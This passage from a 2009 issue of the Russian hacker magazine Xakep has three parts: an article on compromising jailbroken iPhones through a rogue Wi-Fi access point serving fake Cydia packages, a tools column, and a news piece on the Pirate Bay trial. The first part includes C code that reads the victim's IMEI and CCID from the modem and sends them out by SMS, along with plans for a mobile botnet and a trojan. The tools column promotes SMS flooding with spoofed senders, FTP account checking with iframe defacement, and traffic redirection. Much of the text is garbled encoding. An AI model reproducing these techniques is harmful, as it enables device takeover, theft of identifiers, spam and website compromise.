пюре» в мартовском номере z. Затем скачиваем и правим следующие файлы:<br />

http://i.ripdev.com/info/com.ripdev.install-4.1-<br />

2.0.plist<br />

http://i.ripdev.com/info/com.ripdev.install-4.1-<br />

2.1.plist<br />

http://i.ripdev.com/info/com.ripdev.install-4.1-<br />

2.2.plist<br />

Меняем ключ version на такой же, какой поставили в предыдущих<br />

конфигах. Затем редактируем ключи size и hash. Это размер и md5 хеш<br />

от файла с нашим поддельным приложением, которое пользователи<br />

будут себе устанавливать. Остается только разместить само поддельное<br />

приложение на роутере вместе с конфигами (то есть создать директорию<br />

/www/info и /www/packages/System), ну и записать туда все вышеописанные<br />

файлы.<br />

БОНУС. КОДИМ ПОД IPHONE<br />

Как будем проверять работоспособность нашего терминатора? А пусть<br />

сами жертвы известят нас с помощью sms (заодно — получим телефонный<br />

номер отправителя). Достаточное доказательство? Напишем<br />

приложение и повесим его демоном на захваченные iPhone. Забудь про<br />

xcode и Apple SDK, пользоваться будем грубым мужским gcc. Компилятор<br />

можно поставить прямо на телефон через Cydia. Или на компьютер:<br />

http://code.google.com/p/iphone-dev/wiki/Building<br />

http://code.google.com/p/winchain/<br />

Отправлять SMS будем через AT команды устройству /dev/tty.debug.<br />

Эта консоль модема используется для отладки и присутствует на всех<br />

iPhone/iPhone 3g. Ни одно приложение по умолчанию не использует это<br />

устройство — то, что доктор прописал! Великий и могучий code.google.<br />

com уже имеет проект с нужным нам функционалом. Велосипед изобретать<br />

не будем и некоторые функции просто позаимствуем оттуда:<br />

http://code.google.com/p/iphone-sms<br />

Из этого проекта мы возьмем функцию InitConn — подключение к<br />

модему, CloseConn — отключение от модема, SendCmd — отправка AT команды<br />

модему и ReadResp — чтение ответа от модема. Приведу пример<br />

068<br />

Аккумулятор от ноутбука. Из всех контактов нам понадобятся только два<br />

значимых строк кода (сам проект можно найти на нашем DVD):<br />

int InitConn(int speed)<br />

{<br />

int fd = open("/dev/tty.debug", O_RDWR | O_NOCTTY);<br />

if(fd == -1) {<br />

fprintf(stderr, "%i(%s)\n", errno, strerror(errno));<br />

exit(1);<br />

}<br />

ioctl(fd, TIOCEXCL);<br />

fcntl(fd, F_SETFL, 0);<br />

...<br />

return fd;<br />

}<br />

void CloseConn(int fd)<br />

{<br />

tcdrain(fd);<br />

tcsetattr(fd, TCSANOW, &gOriginalTTYAttrs);<br />

close(fd);<br />

}<br />

void SendCmd(int fd, void *buf, size_t size)<br />

{<br />

if(write(fd, buf, size) == -1) {<br />

fprintf(stderr, "SendCmd error. %s\n",<br />

strerror(errno));<br />

exit(1);<br />

}<br />

}<br />

Подумаем над содержанием сообщения. Предлагаю для однозначности<br />

скидывать с захваченных телефонов ни много, ни мало — а IMEI и CCID.<br />

Это сделает наши доказательства успешной атаки более весомыми.<br />

Получать данные мы тоже будем через AT команды. Функцию ReadResp я<br />

немного допишу, чтобы находить ответы за запросы IMEI и CCID и записывать<br />

их в переменную message. Выйдет примерно так:<br />

if (strstr(readbuf,"+CMGW:")!=NULL) {<br />

smsIndex = atoi(&readbuf[strlen(message)+10]);<br />

}<br />

else if (strstr(readbuf,"+CCID:")!=NULL) {<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Для отладки оборудования, в частности, точек доступа используется разъем JTAG. Производитель не всегда его распаивает<br />

strncpy(message, &readbuf[17], 20);<br />

}<br />

else if (strstr(readbuf,"AT+CGSN")!=NULL) {<br />

UCHAR temp[15];<br />

strncpy(temp, &readbuf[10], 15);<br />

sprintf(message,"%s-%s",message,temp);<br />

}<br />

Осталось лишь написать main функцию, в которую мы<br />

заложим весь функционал. Сначала получаем CCID, потом<br />

— IMEI, затем отправляем сообщение.<br />

Я пытался сделать код как можно понятнее, а не наиболее<br />

коротким или красивым. Во всяком случае, он работает, а<br />

оптимизировать будем потом. Собранный вариант вышел 14<br />

Кб — немало, но этого вполне хватит, чтобы быстро залить<br />

на жертву через 802.11g. Опять же, оптимизацией займемся<br />

в следующей статье. Догадайся, что будет, если попытаться<br />

выполнить наше творение? Отправка SMS, да? Нет, — ничего<br />

не будет, ядро телефона просто убьет процесс, не дав ему<br />

ничего исполнить. Хитрость в том, что телефон выполняет<br />

только подписанные программы. Разработчики хорошо постарались<br />

на этот счет. Чтобы код работал, надо подписывать<br />

его перед исполнением на каждом телефоне с помощью<br />

программы ldid. Она устанавливается вместе со всеми неофициальными<br />

программами из Cydia. Мы рассчитываем,<br />

что у нашей жертвы такая программа будет (об остальных<br />

вариантах поговорим в следующей статье).<br />

ВОЙНА ВОЙНОЙ, А ПИТАНИЕ ПО РАСПИСАНИЮ<br />

Нашему терминатору не хватает только автономного источника<br />

питания. Действительно, стационарная точка доступа —<br />

это хорошо, а мобильная куда лучше. Существуют два способа<br />

решить проблему: переносной аккумулятор и адаптер питания<br />

от автомобильного прикуривателя. Для начала смотрим на<br />

штатный адаптер питания точки доступа и видим что-нибудь<br />

похожее на 12 В, 1 А. Автомобильный прикуриватель даст<br />

как раз 12 В, но мгновенные значения за счет шумов могут<br />

колебаться от 8 от 16 вольт. Перебои в работе нам не нужны,<br />

поэтому стоит воспользоваться адаптером с шумоподавителем.<br />

Схема такого устройства нашлась быстро:<br />

rlocman.ru/shem/schematics.html?di=33999<br />

Если не заморачиваться и подключать терминатора после<br />

зажигания, то можно рискнуть — напрямую подключиться<br />

к прикуривателю. Также дешево и сердито — воспользоваться<br />

адаптером от GPS-навигатора, он как раз будет 12<br />

В, 1 А и с шумами как-нибудь справится. Еще есть вариант<br />

установить автомобильный адаптер инвертер 12/220 В<br />

(можно брать от 50 В мощности). Что касается переносных<br />

аккумуляторов, то подключаться стоит к обычному<br />

ноутбучному. Подсчитаем: аккумулятор для ноутбука при<br />

12 В дает 4.8 А/ч — то есть, почти пять часов работы при<br />

потреблении в 1 А. Отмечу, что это пиковый ток, потребляемый<br />

точкой. Среднее значение будет меньше, — а значит,<br />

время работы заведомо больше 5 часов. С аккумулятора<br />

надо будет снимать только + и -, логические контакты<br />

оставь в покое. Узнать распайку контактов можно либо по<br />

наклейке на аккумуляторе, либо с помощью тестера. Надеюсь,<br />

приведенной здесь информации будет достаточно,<br />

чтобы запитать терминатора.<br />

НЕДАЛЕКОЕ БУДУЩЕЕ<br />

В последнее время производительность и скорость<br />

подключения к интернету мобильных устройств сильно<br />

растут. В недалеком будущем, а вернее, уже почти<br />

настоящем, вырисовываются четкие перспективы мобильных<br />

ботнетов. Эти устройства практически всегда<br />

онлайн, имеют несколько способов подключения к<br />

Сети, при этом — есть GPS-навигация. Они всегда находятся<br />

рядом со своими владельцами и часто содержат<br />

конфиденциальную инфу. Я думаю, причин для хака<br />

более чем достаточно! Сегодня я попытался рассказать,<br />

как без особых усилий сделать устройство, способное<br />

получать доступ к Apple iPhone в автоматическом режиме.<br />

Перемещаясь с таким терминатором по улицам,<br />

можно собрать целую мобильную армию, готовую в любой<br />

момент произвести DDoS-атаку или распределено<br />

вычислить значение хеш-функции. В следующей статье<br />

я опишу процесс создания трояна для iPhone. Он способен<br />

получать команды с сервера хозяина, отправлять<br />

различными способами данные с телефона, выполнять<br />

шелл-команды, собирать статистику, генерировать<br />

трафик на определенный ресурс и... что-нибудь еще,<br />

что успею придумать. z<br />

info<br />

•Точка доступа<br />

обладает рядом<br />

преимуществ перед<br />

ноутбуком, например:<br />

размеры, вес,<br />

энергопотребление,<br />

стоимость, разъем<br />

внешней антенны.<br />

•В мартовском<br />

номере z за 2009<br />

год были описаны<br />

эксплуатируемые<br />

атаки. Если остались<br />

вопросы — перечитай<br />

подшивку.<br />

XÀÊÅÐ 04 /124/ 09<br />

069


взлом<br />

ЛЕОНИД «R0ID» СТРОЙКОВ<br />

/ R0ID@BK.RU /<br />

Программы для хакеров<br />

>> взлом<br />

ПРОГРАММА:WEBSMSENDER<br />

ОС: WINDOWS 2000/XP<br />

АВТОР:CYLAAAAN<br />

уже сформированных пакетов SMS-сервису<br />

для дальнейшей рассылки, тулза умеет:<br />

1. Ôîðìèðîâàòü ñïàì-ëèñò òåëåôîííûõ<br />

íîìåðîâ èç ôàéëà<br />

2. Ôîðìèðîâàòü ëèñò ñ àêêàóíòàìè<br />

âèäà «ëîãèí:ïàðîëü» äëÿ ñåðâèñà www.<br />

websms.ru èç ôàéëà, ëèáî âðó÷íóþ<br />

3. Âåñòè ïîäðîáíûé ëîã íà ïðîòÿæåíèè<br />

âñåé ñìñ-ðàññûëêè<br />

Мутим sms-рассылки<br />

В последнее время sms-рассылки становятся<br />

все более актуальными. Увы, на большинстве<br />

биллингов давно введена платная регистрация,<br />

а паблик-сервисы не позволяют массово отсылать<br />

сообщения (я уже не говорю о подмене номера<br />

отправителя). В этой ситуации рекомендую<br />

тебе обратить внимание на утилу под названием<br />

«Websmsender». Тулза работает через известный<br />

смс-сервис — www.websms.ru. Дабы лучше<br />

понять функциональные особенности утилы,<br />

рассмотрим сначала возможности sms-сервиса,<br />

а затем — саму тулзу. Итак, сервис позволяет:<br />

1. Îòñûëàòü sms-ñîîáùåíèÿ<br />

2. Àâòîìàòèçèðîâàòü ðàññûëêè<br />

3. Ïðîèçâîäèòü ïîäìåíó íîìåðà îòïðàâèòåëÿ<br />

4. Îñóùåñòâëÿòü ðàññûëêè ïî ñîçäàííîìó<br />

ðàñïèñàíèþ<br />

5. Ôîðìèðîâàòü ñîáñòâåííóþ ÁÄ ðàññûëîê<br />

При регистрации на новый аккаунт зачисляются<br />

пять бесплатных sms — для теста (правда,<br />

без возможности подмены номера отправителя).<br />

Если ограничения тебя не устраивают —<br />

прейскурант в студию, а именно: от 10 до 1к SMS<br />

по цене в 1.4 рубля, от 1к до 3к приобретаемых<br />

SMS — по 1.3 рубля за каждое сообщение и т.д.<br />

Теперь рассмотрим программу, с помощью<br />

которой мы и будет рассылать сообщения, либо<br />

флудить недоброжелателей. Кроме отправки<br />

Плюс ко всему — отдельное меню настроек,<br />

таких как: номер отправителя, количество<br />

сообщений, отправляемых на каждый номер,<br />

и время доставки SMS. Последняя функция<br />

особенно удобна при флуде часа в 2-3 ночи, по<br />

часовому поясу жертвы :).<br />

В общем, — иные способы sms-спама никто не<br />

отменял, но чем не вариант, да еще и с бесплатными<br />

тестовыми смс-ками?<br />

P.S. Учитывая, что все sms-сервисы со временем<br />

начинают «закручивать гайки», советую<br />

поспешить и полноценно заюзать тулзу.<br />

ПРОГРАММА: CHARON<br />

ОС: WINDOWS 2000/XP<br />

АВТОР: RHINO<br />

Прокси/соксы — неотъемлемая часть безопасного<br />

веб-серфинга (полагаю, об этом не стоит и<br />

напоминать). Собрать прокси-лист — несложно,<br />

сложно — качественно его прочекать по<br />

заданным параметрам. В прошлых выпусках<br />

X-Tools я не раз знакомил тебя с утилами, призванными<br />

облегчить проверку прокси/соксов<br />

на живучесть. Тем не менее, хочу обратить внимание<br />

на еще одну — под названием Charon.<br />

Если ты активно юзаешь эту софтину, то без<br />

труда поймешь меня, а если еще нет — поверь<br />

на слово, тулза заслуживает особого внимания.<br />

Прога позволяет чекать работоспособность,<br />

функциональность и анонимность проксиков<br />

по необходимым тебе параметрам. Среди функциональных<br />

особенностей утилы отметим:<br />

— Óïðàâëåíèå íàñòðîéêàìè ñîåäèíåíèÿ<br />

(êîëè÷åñòâî ïîòîêîâ/ïîðòû/etc)<br />

— Ìíîãîóðîâíåâàÿ ôèëüòðàöèÿ IP-àäðåñîâ<br />

(ïî àäðåñó/ïîðòó/ñòðàíå/etc)<br />

— Âîçìîæíîñòü èìïîðòà/ýêñïîðòà<br />

ïðîêñè-ëèñòîâ<br />

Чекаем прокси-листы<br />

— Âçàèìîäåéñòâèå ñî ñïèñêàìè ñåòåâûõ<br />

ñêàíåðîâ «AngryIPScanner»<br />

è «Superscanner» ïðè ñîñòàâëåíèè<br />

ïðîêñè-ëèñòîâ<br />

— ×åêèíã ïðîêñèêîâ ïðè ïîìîùè RBLñåðâèñîâ<br />

(Realtime Blackhole List)<br />

— Àâòîìàòè÷åñêèé ïîèñê ïàáëèê-ëèñòîâ<br />

ïðè ïîìîùè ïîèñêîâûõ ñèñòåì<br />

— Ïðîâåðêà ðàçëè÷íûõ òèïîâ ïðîêñèêîâ<br />

(http/ssl/socks4/5)<br />

— Ïðîâåðêà ñêîðîñòè ñîåäèíåíèÿ<br />

ïðîêñè-ñåðâåðà<br />

— Âîçìîæíîñòü ñîçäàíèÿ è âåäåíèÿ<br />

áëåê-ëèñòà ïðîêñèêîâ<br />

— Íàëè÷èå áàçû GeoIP, ÷òî ïîçâîëÿåò<br />

êîððåêòíî îïðåäåëÿòü ñòðàíû, â êîòîðûõ<br />

ðàñïîëàãàþòñÿ ïðîêñè<br />

— Íàëè÷èå ðóñèôèöèðîâàííîé âåðñèè<br />

(îòäåëüíîå thx to v1ru$, — Ïðèì.<br />

àâòîðà)<br />

P.S. Смело сливаем утилиту с нашего DVD.<br />

ПРОГРАММА: FTP-CHECK TOOLZ<br />

ОС: *NIX/WIN<br />

АВТОР: JENIZIX<br />

Несмотря на обилие различных FTP-чекеров,<br />

потребность в надежном и стабильном продукте<br />

остается. Посему предлагаю расширить<br />

выбор еще одной утилой: «ftp-check toolz».<br />

Тулза представляет собой классический чекер<br />

фтп-акков с расширенными возможностями.<br />

Начнем, как водится, с возможностей софтины:<br />

— ×åêèíã íà âàëèäíîñòü FTP-àêêàóíòîâ<br />

— Ìîäèôèêàöèÿ index-ôàéëîâ, êàê<br />

70<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

ПРОГРАММА: [XDS] TDS<br />

ОС: *NIX/WIN<br />

АВТОР: XADDIS<br />

Чекаем фтп-акки<br />

ïîëíîñòüþ, òàê è ñ äîáàâëåíèåì<br />

iframe-âñòàâêè<br />

— Àïëîàä ïðîèçâîëüíîãî ôàéëà íà ñåðâåð<br />

â êîðåíü âåá-êàòàëîãà<br />

— Âîçìîæíîñòü çàãðóçêè ôàéëà ñ ôòïàêêàóíòàìè<br />

äëÿ ïðîâåðêè ÷åðåç âåáèíòåðôåéñ<br />

÷åêåðà<br />

— Ïîëó÷åíèå èíôîðìàöèè î ñèñòåìå<br />

(ðàáîòàåò íå âñåãäà è íå âåçäå)<br />

— Âîçìîæíîñòü ïðèîñòàíîâêè ïðîâåðêè<br />

ñ ïîñëåäóþùèì åå ïðîäîëæåíèåì (óæå<br />

ïðî÷åêàííûå àêêàóíòû ïðîâåðÿòüñÿ ïî<br />

âòîðîìó ðàçó íå áóäóò)<br />

— Ïîëíîå ëîãèðîâàíèå, âêëþ÷àÿ:<br />

1. FTP_valid.txt — âàëèäíûå àêêè<br />

2. FTP_invalid.txt — íåâàëèäíûå àêêè<br />

3. FTP_defaced.txt — «çàäåôåéñåííûå» àêêè<br />

4. FTP_unknown.txt — îøèáêà ñîåäèíåíèÿ<br />

ñ ñåðâåðîì<br />

5. FTP_info.txt — àêêè, ñ ïîìîùüþ<br />

êîòîðûõ óäàëîñü ïîëó÷èòü èíôîðìàöèþ<br />

î ñèñòåìå<br />

— Ïîääåðæèâàåòñÿ ñòàíäàðòíûé âèä<br />

ôòï-àêêàóíòîâ èç ëîãîâ/êîíôèãîâ:<br />

«ftp://login:pass@server» èëè<br />

«login:pass@server»<br />

Для работы скрипта потребуется PHP не ниже 4<br />

версии, а также chmod 777 на каталог, в котором<br />

лежит чекер. Скрипт прекрасно работает на<br />

бесплатных хостингах, правда, со скоростью<br />

1-2 акка в секунду. Для увеличения скорости<br />

рекомендуется использовать чекер на сервере<br />

с более широким каналом.<br />

ПРОГРАММА: GUARDMOBILE<br />

ОС: WINDOWS MOBILE 5/6<br />

АВТОР:MASPWARE<br />

Тебе никогда не приходила мысль установить<br />

бэкдор в собственный мобильник? Софтина<br />

«GuardMobile» рассчитана на коммуникаторы<br />

под управлением Windows Mobile и призвана<br />

защитить не только твой девайс, но и информацию<br />

на нем. Даже если твой мобильник будет<br />

украден или утерян, ты все равно сможешь:<br />

— Âêëþ÷èòü òðåâîãó (çâóêîâóþ/âèáðàöèîííóþ)<br />

è çàáëîêèðîâàòü äåâàéñ<br />

— Óñòàíîâèòü ìåñòîïîëîæåíèå ñâîåãî<br />

àïïàðàòà (ïðè íàëè÷èè GPS-ïðèåìíèêà)<br />

— Ñäåëàòü õàðä-ðåñåò è óäàëèòü âñþ<br />

èíôîðìàöèþ ñ ìîáèëüíèêà<br />

— Óäàëåííî ïîçâîíèòü ñî ñâîåãî<br />

äåâàéñà â ôîíîâîì ðåæèìå (àíàëîã<br />

ïðîñëóøêè)<br />

Нужно лишь заинсталить утилиту на свой мо-<br />

XÀÊÅÐ 04 /124/ 09<br />

Защищаем коммуникатор<br />

бильник и задать ряд настроек. Тулза попросит<br />

установить PIN-код и добавить несколько номеров<br />

мобильных телефонов, с которых можно<br />

будет управлять девайсом. После активации<br />

утила незаметно начнет работать в фоновом<br />

режиме до тех пор, пока не получит команды на<br />

совершение какого-либо действия.<br />

Из возможностей софтины можно выделить:<br />

— Ìàëûé ðàçìåð<br />

— Çàïóñêàåòñÿ è ðàáîòàåò â ôîíîâîì<br />

ðåæèìå.<br />

— Îñòàåòñÿ ðàáîòîñïîñîáíîé äàæå<br />

ïîñëå ñîôò-ðåñåòà<br />

— Ìîæåò áûòü ïîëíîñòüþ óäàëåíà òîëüêî<br />

âëàäåëüöåì<br />

— Îïðåäåëåíèå ìåñòîïîëîæåíèÿ ñ ïîìîùüþ<br />

GPS-ïðèåìíèêà<br />

— Àêòèâàöèÿ/äåàêòèâàöèÿ áëîêèðîâêè<br />

ýêðàíà<br />

— Àêòèâàöèÿ/äåàêòèâàöèÿ áëîêèðîâêè<br />

êëàâèàòóðû<br />

— Ðåæèì òðåâîãè (ãðîìêèé çâóê è âèáðàöèÿ)<br />

— Îáðàòíûé âûçîâ<br />

— Ñîôò-ðåñåò/õàðä-ðåñåò äëÿ ÷àñòè÷íîãî<br />

è ïîëíîãî óäàëåíèÿ äàííûõ ñ<br />

ìîáèëüíèêà<br />

— Óâåäîìëåíèå î ñìåíå SIM-êàðòû<br />

— Âåäåíèå ïîëíîãî ëîãà ñîáûòèé<br />

Как ты уже понял, утила абсолютно не<br />

зависит от симки, вставленной в телефон.<br />

Ведь работает она под мобильной версией<br />

Винды. Сменят симку или нет — разницы<br />

никакой, в твоих руках останется управление<br />

утерянным девайсом с помощью вот<br />

этих команд:<br />

locate : Ïîïûòàòüñÿ îïðåäåëèòü ìåñòîïîëîæåíèå<br />

óñòðîéñòâà<br />

lock : Çàáëîêèðîâàòü ýêðàí<br />

unlock : Ðàçáëîêèðîâàòü ýêðàí<br />

keylock : Çàáëîêèðîâàòü êëàâèàòóðó<br />

alarmon : Âêëþ÷èòü çâóêîâóþ òðåâîãó<br />

è âèáðàöèþ<br />

alarmoff : Âûêëþ÷èòü òðåâîãó<br />

callback : Çàñòàâèòü òåëåôîí ïåðåçâîíèòü<br />

òåáå<br />

softreset/hardreset : çäåñü, äóìàþ,<br />

ïîíÿòíî :)<br />

Общий вид синтаксиса команд выглядит так:<br />

#PIN#команда.<br />

В общем, если ценишь свой мобильный девайс<br />

— эта утила для тебя :).<br />

Конфигурируем систему управления трафиком<br />

О распределении трафика мы уже писали<br />

(полистай подшивку z). В нынешнем выпуске<br />

хочу представить тебе систему управления<br />

трафиком под названием [XDS] TDS. Система<br />

написана на PHP, и ее установка не вызовет у<br />

тебя никаких проблем. Достаточно следовать<br />

простому алгоритму действий:<br />

— Çàëèâàåì âñå ôàéëû èç àðõèâà ñ<br />

òóëçîé íà ñåðâåð<br />

— Ñòàâèì íà ïàïêó ñ ôàéëàìè ÷ìîä 777<br />

— Íàñòðàèâàåì config.php ïîä ñâîè<br />

íóæäû<br />

О конфиге более подробно:<br />

### Äèðåêòîðèÿ þçåðîâ ###<br />

$usersdir='users';<br />

### Ôàéë âñåõ ïîñåùåíèé ###<br />

$clickf='clicks.txt';<br />

### Ôàéë óíèêàëüíûõ ïîñåùåíèé ###<br />

$unicf='unics.txt';<br />

### Ôàéë áëîêèðîâêè ###<br />

$blockf='blocked';<br />

### Ôàéë âðåìåíè çàïóñêà ñòàòû ###<br />

$startf='start.txt';<br />

### Ôàéë ñ ïðåäûäóùèìè çíà÷åíèÿìè<br />

ñòàòû ###<br />

$prevf='previous.txt';<br />

### Ôàéë ðåäèðåêòà ###<br />

$redf='redir.txt';<br />

### Àäðåñ äëÿ ðåäèðåêòà ïî óìîë÷àíèþ<br />

### $host='http://www.site.com';<br />

### Àäðåñ äëÿ ðåäèðåêòà íåóíèêîâ ###<br />

# $hostn='http://www.sites.com';<br />

### Ïàðîëü äëÿ äîñòóïà ê ñòàòå ###<br />

$passw='123';<br />

Теперь обновляем конфиг на сервере и<br />

вперед:<br />

— Ïóñêàåì âåñü òðàôô íà ñêðèïò<br />

iframe.php<br />

— Äëÿ ïðîñìîòðà ñòàòèñòèêè çàïóñêàåì<br />

ñêðèïò stat.php<br />

Вот, собственно, и все. Система проста<br />

в администрировании и удобна в<br />

использовании.z<br />

71


сцена<br />

МАРИЯ «MIFRILL» НЕФЕДОВА<br />

/ MIFRILL@RIDDICK.RU /<br />

МЕДИА-МАГНАТЫ ПРОТИВ BITTORRENT<br />

Судебный процесс по<br />

делу The Pirate Bay<br />

Всемирная паутина — настоящее благо для всего прогрессивного человечества, но для правообладателей это форменный кошмар. Пиратство<br />

XXI века, совсем не похожее на пиратство былых времен, в основном разворачивается в виртуальном пространстве, и как именно с ним бороться,<br />

до хрипоты спорят аналитики по всему миру. Но пока одни теоретизируют, другие предпочитают действовать. Судебный процесс по делу крупнейшего<br />

торрент-трекера планеты, — ThePirateBay.org — развернувшийся в Швеции, пожалуй, оставит заметный след в истории интернета. Еще бы,<br />

на этот раз пираты имеют все шансы выиграть.<br />

занимается ничем противозаконным, скорее,<br />

просто объединяет единомышленников,<br />

жаждущих бороться с системой. Вот и создание<br />

торрент-трекера «Пиратское бюро» одобрило<br />

и осуществило, но уже в 2004-м отправило его<br />

в свободное плавание. С тех пор TPB является<br />

независимым ресурсом.<br />

На протяжении последних лет трекер поддерживают<br />

три шведских парня, имена которых<br />

теперь прекрасно известны всему миру: это<br />

Готтфрид Свартхольм (Gottfrid Svartholm aka<br />

«anakata»), Фредерик Нейж (Fredrik Neij aka<br />

Свартхольм и Сунди на пресс-конференции<br />

Нейдж (слева) и Сунди (справа) в здании суда<br />

«В ШВЕЦИИ ВОЗНИКЛА ПИРАТСКАЯ ПАР-<br />

ТИЯ, ЕДИНСТВЕННЫЙ ПУНКТ ПРОГРАММЫ<br />

КОТОРОЙ — ЛЕГАЛИЗАЦИЯ СВОБОДНОГО<br />

КОПИРОВАНИЯ ВИДЕО И АУДИОМАТЕРИА-<br />

ЛОВ ИЗ ИНТЕРНЕТА».<br />

Перед тем как перейти<br />

непосредственно<br />

к хронике процесса,<br />

стоит сказать<br />

о самом трекере,<br />

оказавшемся между<br />

молотом и наковальней.<br />

Хотя вряд<br />

ли найдутся такие,<br />

кому незнаком<br />

адрес ThePirateBay.org – сокращенно TPB, а<br />

по-русски – «Пиратская бухта». Трекер зародился<br />

еще в 2003 году под эгидой шведской<br />

организации Piratbyran («Пиратское бюро»).<br />

Бюро активно выступает против ситуации, сложившейся<br />

вокруг интеллектуальной собственности<br />

и ратует за свободу обмена информацией.<br />

Притом сама организация, разумеется, не<br />

«TiAMO») и Питер Сунде Колмисоппи (Peter<br />

Sunde Kolmisoppi aka «brokep»). Вот они-то<br />

и «попали под раздачу» вместе с владельцем<br />

хостинга — 48-летним бизнесменом Карлом<br />

Лундстремом (Carl Lundstrom).<br />

Применить санкции в отношении «Пиратской<br />

бухты» пытаются уже давно. Еще в 2006-м году<br />

сервера трекера отключали и арестовывали,<br />

притом сделано это было практически по<br />

прямой указке Соединенных Штатов. Тогда<br />

голливудские магнаты решили преподать урок<br />

европейским корсарам, и, избрав своей мишенью<br />

TPB, надавили на нужные рычаги. К делу<br />

подключили тяжелую артиллерию — Вашингтон,<br />

правоохранительные органы, ФБР и так<br />

далее. В итоге, власти Швеции сочли нужным<br />

прислушаться к мнению Запада и произвели<br />

образцово-показательную конфискацию серверов<br />

(включая те, на которых тогда располагалось<br />

«Пиратское бюро»). Но вся соль в том,<br />

что по шведским законам TPB – совершенно<br />

легален, а законодательство США никакой<br />

силы в Европе не имеет.<br />

Скандал разразился нешуточный: на правительственные<br />

сайты Швеции не замедлили<br />

обрушиться DDoS-атаки и взломы от хакеров со<br />

всего мира, и быстро стало ясно, что конфликт<br />

носит политический и идеологический характер.<br />

Например, именно из-за того инцидента в<br />

Швеции возникла Пиратская партия, единственный<br />

пункт программы которой — легализация<br />

свободного копирования видео- и аудиоматериалов<br />

из интернета. А так как в Швеции<br />

очень много людей, недовольных нынешней<br />

ситуацией с копирайтами, наличествовали и<br />

072<br />

XÀÊÅÐ 04 /124/ 09


сцена<br />

уличные демонстрации и прочие «стандартные<br />

атрибуты».<br />

Тогда, в 2006-м, под давлением общественного<br />

мнения, власти были вынуждены вернуть сервера<br />

владельцам (разумеется, проведя перед<br />

этим тщательные проверки). Самих админов не<br />

забыли допросить, после чего тоже отпустили<br />

на все четыре стороны. Однако трекер, конечно,<br />

не перестал быть бельмом на глазу у крупнейших<br />

медиа-холдингов, и было очевидно, что<br />

рано или поздно история получит продолжение,<br />

тем более, на руках властей осело столько<br />

улик. Так и случилось.<br />

РАССТАНОВКА СИЛ С одной стороны, с<br />

прогрессом бороться невозможно, особенно<br />

когда все настолько «запущено», как в случае с<br />

p2p-сетями. С другой, – очень хочется, и никто<br />

не мешает попробовать (плюс, прецеденты с<br />

Napster, Audiogalaxy или KaZaA сулят успех).<br />

Технология BitTorrent сейчас находится в<br />

зените славы, и «закрыть торренты» — голубая<br />

мечта всех гигантов медиа-индустрии.<br />

«Пиратскую бухту» выбрали мишенью тоже<br />

совсем не случайно, ведь этот трекер, пожалуй,<br />

можно назвать «лицом технологии» — торрентресурсов<br />

много, но TPB крупнейший. Вдумайся<br />

Питер Сунди<br />

Адвокат защиты Пер Самуэльсон, автор<br />

«защиты Кинг-Конга»<br />

XÀÊÅÐ 04 /124/ 09<br />

в эти цифры: на момент окончания 2008 года<br />

TPB мог похвастаться более чем 3 миллионами<br />

зарегистрированных пользователей, более чем<br />

25 миллионами уникальных пиров, а на сайте<br />

Alexa Internet трекер занимает 107 место.<br />

Админы TPB — ребята не из пугливых. К ним<br />

не раз и не два обращались представители<br />

Microsoft, Apple, SEGA, DreamWorks, Warner<br />

Bros и других динозавров рынка, но администрация<br />

всегда и всем отвечала решительным<br />

отказом. Ни одна раздача не была удалена с<br />

трекера по просьбе правообладателей, такова<br />

принципиальная позиция админов. Кстати, историю<br />

переписки команды сайта с различными<br />

компаниями и инстанциями можно почитать по<br />

адресу thepiratebay.org/legal, правда, для этого<br />

потребуется знание английского языка. Отметим,<br />

что наглости и чувства юмора админам не<br />

занимать — многие письма носят откровенно<br />

издевательский характер. Отвечавший на<br />

e-mail Свартхольм не стеснялся в выражениях,<br />

объясняя разгневанным магнатам, что<br />

в Швеции законы США — пустой звук. При<br />

таком подходе неудивительно, что «Пиратская<br />

бухта» для сетевой публики стала настоящим<br />

символом информационной свободы, а для<br />

правообладателей — кандидатом номер один<br />

на закрытие.<br />

НА АБОРДАЖ! Ответный удар по TPB<br />

индустрия развлечений нанесла 31 декабря<br />

2008, очевидно, решив для полноты эффекта<br />

испортить всем праздник. Вспомнив старый<br />

добрый принцип «против кого дружить<br />

будем?», компании Warner Bros., MGM Pictures,<br />

Columbia Pictures, 20th Century Fox и Sony BMG<br />

подали коллективный гражданский иск против<br />

Свартхольма, Нейджа, Сунде и Лундстерма.<br />

Нота протеста сильных мира сего шла рука об<br />

руку с очередным иском «местного значения»<br />

— шведские власти снова взялись за трекер,<br />

обвинив уже упомянутых лиц в содействии<br />

нарушению закона об авторском праве,<br />

грозящим им тюремным заключением до двух<br />

лет и штрафом в размере до $188.000. Может<br />

быть, все это звучало бы внушительно, если бы<br />

Голливуд в свою очередь не требовал компенсации<br />

порядка 14 миллионов долларов.<br />

После объявления этой новости в Сети сразу же<br />

возник большой резонанс. Практически всем<br />

было ясно, что судить будут не столько этих<br />

четырех человек, сколько некое абстрактное<br />

«сетевое пиратство», и итог процесса может<br />

иметь далеко идущие последствия.<br />

Команда The Pirate Bay, однако, унывать не спешила.<br />

Вместо этого они собрали пресс-конференцию,<br />

в ходе которой много шутили и открыто<br />

называли грядущее разбирательство «шоу и<br />

фарсом». К тому же, ребята окрестили процесс<br />

метким словечком «Spectrial» (производным<br />

от «spectacle trial» — суда-спектакля). По этому<br />

тэгу очень удобно искать в Сети информацию о<br />

ходе слушания :).<br />

Миллионные компенсации админов тоже не<br />

испугали. В частности, Питер Сунде заявил:<br />

«Неважно, сколько они потребуют — несколько<br />

миллионов или миллиардов. Мы не богачи и<br />

у нас нет денег, чтобы платить. Они не получат<br />

ни цента». Готтфрид Свартхольм его полностью<br />

поддержал: «У меня в Швеции и так столько<br />

долгов, что мне никогда их не выплатить. Я даже<br />

здесь не живу. Пусть присылают мне счет — я<br />

повешу его в рамочку на стену». В ходе общения<br />

с прессой было особенно подчеркнуто, что на<br />

этот раз иск выдвинут не против сайта в целом, а<br />

против четырех конкретных личностей, и обвинение<br />

явно собирается сфокусироваться на них.<br />

В пример привели тот факт, что Готтфрида на<br />

допросе сначала попросили рассказать о своих<br />

политических и идеологических взглядах, а<br />

вовсе не о его участии в деятельности TPB.<br />

073


сцена<br />

ПЕРВЫЙ РАУНД: ДЕЛО О ПОД-<br />

МОЧЕННОЙ РЕПУТАЦИИ На слушание,<br />

начавшееся 16-го февраля этого года,<br />

подсудимые, не изменяя себе, прибыли на<br />

безумном красном автобусе, от кабины до<br />

заднего бампера изрисованном граффити с<br />

